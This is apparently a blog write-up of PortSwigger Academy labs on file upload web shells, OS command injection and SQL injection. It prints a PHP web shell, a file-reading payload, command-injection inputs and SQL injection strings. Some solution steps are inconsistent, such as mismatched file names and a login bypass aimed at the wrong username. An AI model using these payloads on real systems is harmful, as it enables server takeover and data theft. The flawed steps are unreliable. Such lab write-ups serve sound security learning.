2351 words
12 minutes
PortSwigger Academy - Server-side vulnerabilities (Part 2).

https://portswigger.net/web-security/learning-paths/server-side-vulnerabilities-apprentice

This learning path introduces you to a range of common server-side vulnerabilities. This is perfect if you’re new to web security and want to get an overview of the kinds of vulnerabilities that exist, as well as how an attacker might identify and exploit them in real-world systems.

Attacks:#

Go to part 1.


File upload vulnerabilities#

File upload vulnerabilities are when a web server allows users to upload files to its filesystem without sufficiently validating things like their name, type, contents, or size. Failing to properly enforce restrictions on these could mean that even a basic image upload function can be used to upload arbitrary and potentially dangerous files instead. This could even include server-side script files that enable remote code execution.

In some cases, the act of uploading the file is in itself enough to cause damage. Other attacks may involve a follow-up HTTP request for the file, typically to trigger its execution by the server.

How do file upload vulnerabilities arise?

Given the fairly obvious dangers, it’s rare for websites in the wild to have no restrictions whatsoever on which files users are allowed to upload. More commonly, developers implement what they believe to be robust validation that is either inherently flawed or can be easily bypassed.

For example, they may attempt to blacklist dangerous file types, but fail to account for parsing discrepancies when checking the file extensions. As with any blacklist, it’s also easy to accidentally omit more obscure file types that may still be dangerous.

In other cases, the website may attempt to check the file type by verifying properties that can be easily manipulated by an attacker using tools like Burp Proxy or Repeater.

Ultimately, even robust validation measures may be applied inconsistently across the network of hosts and directories that form the website, resulting in discrepancies that can be exploited.

Exploiting unrestricted file uploads to deploy a web shell

From a security perspective, the worst possible scenario is when a website allows you to upload server-side scripts, such as PHP, Java, or Python files, and is also configured to execute them as code. This makes it trivial to create your own web shell on the server. Web shell

A web shell is a malicious script that enables an attacker to execute arbitrary commands on a remote web server simply by sending HTTP requests to the right endpoint.

If you’re able to successfully upload a web shell, you effectively have full control over the server. This means you can read and write arbitrary files, exfiltrate sensitive data, even use the server to pivot attacks against both internal infrastructure and other servers outside the network. For example, the following PHP one-liner could be used to read arbitrary files from the server’s filesystem:

Once uploaded, sending a request for this malicious file will return the target file’s contents in the response.

A more versatile web shell may look something like this:

<?php echo system($_GET['command']); ?>

This script enables you to pass an arbitrary system command via a query parameter as follows: GET /example/exploit.php?command=id HTTP/1.1

Lab: Remote code execution via web shell upload#

To solve the lab, upload a basic PHP web shell and use it to exfiltrate the contents of the file /home/carlos/secret. Submit this secret using the button provided in the lab banner.

Solution:#

We upload the attack.php file

<?php echo file_get_contents('/home/carlos/secret'); ?>

and then run the request via Repeater

GET /files/avatars/attack3.php?command=“/home/carlos/secret” HTTP/2 Host: 0a26003f0431becf835ad24600a5009b.web-security-academy.net

Exploiting flawed validation of file uploads

In the wild, it’s unlikely that you’ll find a website that has no protection against file upload attacks like we saw in the previous lab. But just because defenses are in place, that doesn’t mean that they’re robust. You can sometimes still exploit flaws in these mechanisms to obtain a web shell for remote code execution.

Flawed file type validation

When submitting HTML forms, the browser typically sends the provided data in a POST request with the content type application/x-www-form-url-encoded. This is fine for sending simple text like your name or address. However, it isn’t suitable for sending large amounts of binary data, such as an entire image file or a PDF document. In this case, the content type multipart/form-data is preferred.

Consider a form containing fields for uploading an image, providing a description of it, and entering your username. Submitting such a form might result in a request that looks something like this:

POST /images HTTP/1.1
    Host: normal-website.com
    Content-Length: 12345
    Content-Type: multipart/form-data; boundary=---------------------------012345678901234567890123456

    ---------------------------012345678901234567890123456
    Content-Disposition: form-data; name="image"; filename="example.jpg"
    Content-Type: image/jpeg

    [...binary content of example.jpg...]

    ---------------------------012345678901234567890123456
    Content-Disposition: form-data; name="description"

    This is an interesting description of my image.

    ---------------------------012345678901234567890123456
    Content-Disposition: form-data; name="username"

    wiener
    ---------------------------012345678901234567890123456--

As you can see, the message body is split into separate parts for each of the form’s inputs. Each part contains a Content-Disposition header, which provides some basic information about the input field it relates to. These individual parts may also contain their own Content-Type header, which tells the server the MIME type of the data that was submitted using this input.

One way that websites may attempt to validate file uploads is to check that this input-specific Content-Type header matches an expected MIME type. If the server is only expecting image files, for example, it may only allow types like image/jpeg and image/png. Problems can arise when the value of this header is implicitly trusted by the server. If no further validation is performed to check whether the contents of the file actually match the supposed MIME type, this defense can be easily bypassed using tools like Burp Repeater

Lab: Web shell upload via Content-Type restriction bypass#

This lab contains a vulnerable image upload function. It attempts to prevent users from uploading unexpected file types, but relies on checking user-controllable input to verify this.

To solve the lab, upload a basic PHP web shell and use it to exfiltrate the contents of the file /home/carlos/secret. Submit this secret using the button provided in the lab banner.

You can log in to your own account using the following credentials: wiener

Solution:#

We use Proxy - Intercept to change the Content-type in the POST Request:

POST /my-account/avatar HTTP/2
Host: 0ae2004e03d0a1f28068d1a3008200d4.web-security-academy.net
Cookie: session=jcm7qKNEgFQupC6hZXOPPIlj0Zh2YZwA
Content-Length: 476
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="137", "Not/A)Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-GB,en;q=0.9
Origin: https://0ae2004e03d0a1f28068d1a3008200d4.web-security-academy.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryyz3OAX1tBtwOepXm
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0ae2004e03d0a1f28068d1a3008200d4.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

------WebKitFormBoundaryyz3OAX1tBtwOepXm
Content-Disposition: form-data; name="avatar"; filename="attack3.php"
Content-Type: application/octet-stream <---- HERE we change application/octet-stream for image/jpeg

<?php echo file_get_contents('/home/carlos/secret'); ?>
------WebKitFormBoundaryyz3OAX1tBtwOepXm
Content-Disposition: form-data; name="user"

wiener
------WebKitFormBoundaryyz3OAX1tBtwOepXm
Content-Disposition: form-data; name="csrf"

jjC5q5LOPJlMhwRQpY0f7usmbCOv5fsH

OS command injection#

OS command injection is also known as shell injection. It allows an attacker to execute operating system (OS) commands on the server that is running an application, and typically fully compromise the application and its data. Often, an attacker can leverage an OS command injection vulnerability to compromise other parts of the hosting infrastructure, and exploit trust relationships to pivot the attack to other systems within the organization.

Useful commands

After you identify an OS command injection vulnerability, it’s useful to execute some initial commands to obtain information about the system. Below is a summary of some commands that are useful on Linux and Windows platforms:

Purpose of commandLinuxWindows
Name of current userwhoamiwhoami
Operating systemuname -aver
Network configurationifconfigipconfig /all
Network connectionsnetstat -annetstat -an
Running processesps -eftasklist

Injecting OS commands

In this example, a shopping application lets the user view whether an item is in stock in a particular store. This information is accessed via a URL: https://insecure-website.com/stockStatus?productID=381&storeID=29

To provide the stock information, the application must query various legacy systems. For historical reasons, the functionality is implemented by calling out to a shell command with the product and store IDs as arguments: stockreport.pl 381 29

This command outputs the stock status for the specified item, which is returned to the user.

The application implements no defenses against OS command injection, so an attacker can submit the following input to execute an arbitrary command: & echo aiwefwlguh &

If this input is submitted in the productID parameter, the command executed by the application is: stockreport.pl & echo aiwefwlguh & 29

The echo command causes the supplied string to be echoed in the output. This is a useful way to test for some types of OS command injection. The & character is a shell command separator. In this example, it causes three separate commands to execute, one after another. The output returned to the user is:

Error - productID was not provided
aiwefwlguh
29: command not found

The three lines of output demonstrate that:

The original stockreport.pl command was executed without its expected arguments, and so returned an error message.
The injected echo command was executed, and the supplied string was echoed in the output.
The original argument 29 was executed as a command, which caused an error.

Placing the additional command separator & after the injected command is useful because it separates the injected command from whatever follows the injection point. This reduces the chance that what follows will prevent the injected command from executing.

Lab: OS command injection, simple case#

This lab contains an OS command injection vulnerability in the product stock checker.

The application executes a shell command containing user-supplied product and store IDs, and returns the raw output from the command in its response.

To solve the lab, execute the whoami command to determine the name of the current user.

Solution:#

we grab the request and change productId=3&storeId=2

for

productId=3&storeId=2|whoami

The pipe operator | allows you to chain commands together. It takes the standard output (stdout) of the command on its left and redirects it as the standard input (stdin) of the command on its right.

SQL injection#

What is SQL injection (SQLi)?

SQL injection (SQLi) is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. This can allow an attacker to view data that they are not normally able to retrieve. This might include data that belongs to other users, or any other data that the application can access. In many cases, an attacker can modify or delete this data, causing persistent changes to the application’s content or behavior.

In some situations, an attacker can escalate a SQL injection attack to compromise the underlying server or other back-end infrastructure. It can also enable them to perform denial-of-service attacks.

How to detect SQL injection vulnerabilities

You can detect SQL injection manually using a systematic set of tests against every entry point in the application. To do this, you would typically submit:

The single quote character ’ and look for errors or other anomalies. Some SQL-specific syntax that evaluates to the base (original) value of the entry point, and to a different value, and look for systematic differences in the application responses. Boolean conditions such as OR 1=1 and OR 1=2, and look for differences in the application’s responses. Payloads designed to trigger time delays when executed within a SQL query, and look for differences in the time taken to respond. OAST payloads designed to trigger an out-of-band network interaction when executed within a SQL query, and monitor any resulting interactions.

Alternatively, you can find the majority of SQL injection vulnerabilities quickly and reliably using Burp Scanner.

Retrieving hidden data

Imagine a shopping application that displays products in different categories. When the user clicks on the Gifts category, their browser requests the URL: https://insecure-website.com/products?category=Gifts

This causes the application to make a SQL query to retrieve details of the relevant products from the database:

SELECT * FROM products WHERE category = 'Gifts' AND released = 1

This SQL query asks the database to return:

all details (*)
from the products table
where the category is Gifts
and released is 1.

The restriction released = 1 is being used to hide products that are not released. We could assume for unreleased products, released = 0.

The application doesn’t implement any defenses against SQL injection attacks. This means an attacker can construct the following attack, for example: https://insecure-website.com/products?category=Gifts’—

This results in the SQL query:

SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1

Crucially, note that — is a comment indicator in SQL. This means that the rest of the query is interpreted as a comment, effectively removing it. In this example, this means the query no longer includes AND released = 1. As a result, all products are displayed, including those that are not yet released.

You can use a similar attack to cause the application to display all the products in any category, including categories that they don’t know about: https://insecure-website.com/products?category=Gifts’+OR+1=1—

This results in the SQL query:

SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1

The modified query returns all items where either the category is Gifts, or 1 is equal to 1. As 1=1 is always true, the query returns all items.

Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data#

This lab contains a SQL injection vulnerability in the product category filter. When the user selects a category, the application carries out a SQL query like the following:

SELECT * FROM products WHERE category = 'Gifts' AND released = 1

To solve the lab, perform a SQL injection attack that causes the application to display one or more unreleased products.

Solution:#

We use ‘+OR+1=1— to display all the products in any category.

Subverting application logic

Imagine an application that lets users log in with a username and password. If a user submits the username wiener and the password bluecheese, the application checks the credentials by performing the following SQL query:

SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'

If the query returns the details of a user, then the login is successful. Otherwise, it is rejected.

In this case, an attacker can log in as any user without the need for a password. They can do this using the SQL comment sequence — to remove the password check from the WHERE clause of the query. For example, submitting the username administrator’— and a blank password results in the following query:

SELECT * FROM users WHERE username = 'administrator'--' AND password = ''

This query returns the user whose username is administrator and successfully logs the attacker in as that user.

Lab: SQL injection vulnerability allowing login bypass#

This lab contains a SQL injection vulnerability in the login function.

To solve the lab, perform a SQL injection attack that logs in to the application as the administrator user.

Solution:#

We go to the login page, intercept the login request, and change

csrf=aLvfTFtmCYEfNMxAynub1RDtHZGdecNG&username=sdfsdf&password=sdfsdf

for

csrf=aLvfTFtmCYEfNMxAynub1RDtHZGdecNG&username=sdfsdf'--&password=sdfsdf